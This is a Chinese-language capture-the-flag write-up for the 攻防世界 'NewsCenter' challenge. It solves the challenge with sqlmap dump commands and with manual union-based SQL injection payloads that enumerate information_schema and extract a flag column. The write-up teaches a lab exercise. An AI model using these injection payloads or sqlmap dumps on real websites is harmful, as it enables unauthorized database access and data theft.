2025.1.16——一、NewsCenter

题目来源:攻防世界 NewsCenter

目录

一、题目

二、sqlmap解题------bp抓包存为txt文件进行爆破

[step 1:search框内随便输入,进行抓包](#step 1:search框内随便输入,进行抓包)

[step 2:抓包后,存到txt文件,进行sqlmap](#step 2:抓包后,存到txt文件,进行sqlmap)

[step 3:-r获取文件,--dump获取flag](#step 3:-r获取文件,--dump获取flag)

三、手工注入解题

[step 1:判断 GET 还是 POST 传参](#step 1:判断 GET 还是 POST 传参)

[step 2:判断注入点类型](#step 2:判断注入点类型)

[step 3:判断字段数 ' 和 # 不可缺少](# 不可缺少)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)


本题由于靶机出问题,所以看了很多博主的wp

一、题目

可以看到有注入点,首选sqlmap,其次为手工注入

二、sqlmap解题------bp抓包存为txt文件进行爆破

step 1:search框内随便输入,进行抓包

step 2:抓包后,存到txt文件,进行sqlmap

step 3:-r获取文件,--dump获取flag

方法一:

连接口令:python sqlmap.py -r 文件路径

爆破口令:python sqlmap.py -r 文件路径 --dump

方法二:

①python sqlmap.py -r 文件名 -dbs

②python sqlmap.py -r 文件名 -D 数据库名 --tables

③python sqlmap.py -r 文件名 -D 数据库名 -T 表名 --columns

④python sqlmap.py -r 文件名 -D 数据库名 -T 表名 -C 列名 --dump

可得到flag信息

三、手工注入解题

重点:①需要判断 GET 还是 POST 传参;②判断注入点类型;③尝试万能密码;④尝试联合注入

step 1:判断 GET 还是 POST 传参

搜索新闻初步判定为POST请求,可考虑xss或sql注入

尝试xss注入,而页面没有返回值,且根据源码得js代码没有被过滤,所以无xss漏洞。所以此处为sql注入

step 2:判断注入点类型

键入:1、1''、1' and '1'=1'

均回显正常

键入:1'

出现错误

所以这里是字符注入

step 3:判断字段数 ' 和 # 不可缺少

键入:1' order by 3 #

回显正常

键入:1' order by 4 #

回显错误

故字段数为3

step 4:爆表名

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

发现有两张表:news、secret_table

step 5:爆列名

第一张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

有两列:id、fl4g

第二张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

有三列:id、title、content

step 6:爆具体数据

flag应该在secret_table表的fl4g列中

sql 复制代码
1' union select 1,2,fl4g from secret_table #

可得到flag信息

相关推荐
香蕉可乐荷包蛋13 分钟前
Python学习之路(十三)-常用函数的使用,及优化
开发语言·python·学习
缘来如此҉22 分钟前
Mysql数据库——增删改查CRUD
数据库·mysql·oracle
许白掰39 分钟前
Linux入门篇学习——借助 U 盘或 TF 卡拷贝程序到开发板上
linux·学习·借助 u 盘拷贝程序到开发板上·借助 tf卡拷贝程序到开发板上
apihz1 小时前
域名WHOIS信息查询免费API使用指南
android·开发语言·数据库·网络协议·tcp/ip
gwcgwcjava1 小时前
[时序数据库-iotdb]时序数据库iotdb的安装部署
数据库·时序数据库·iotdb
SHUIPING_YANG1 小时前
根据用户id自动切换表查询
java·服务器·数据库
爱吃烤鸡翅的酸菜鱼1 小时前
IDEA高效开发:Database Navigator插件安装与核心使用指南
java·开发语言·数据库·编辑器·intellij-idea·database
超奇电子1 小时前
阿里云OSS预签名URL上传与临时凭证上传的技术对比分析
数据库·阿里云·云计算
modelmd1 小时前
mysql not in 查询引发的bug问题记录
sql·mysql
神仙别闹2 小时前
基于C#+SQL Server实现(Web)学生选课管理系统
前端·数据库·c#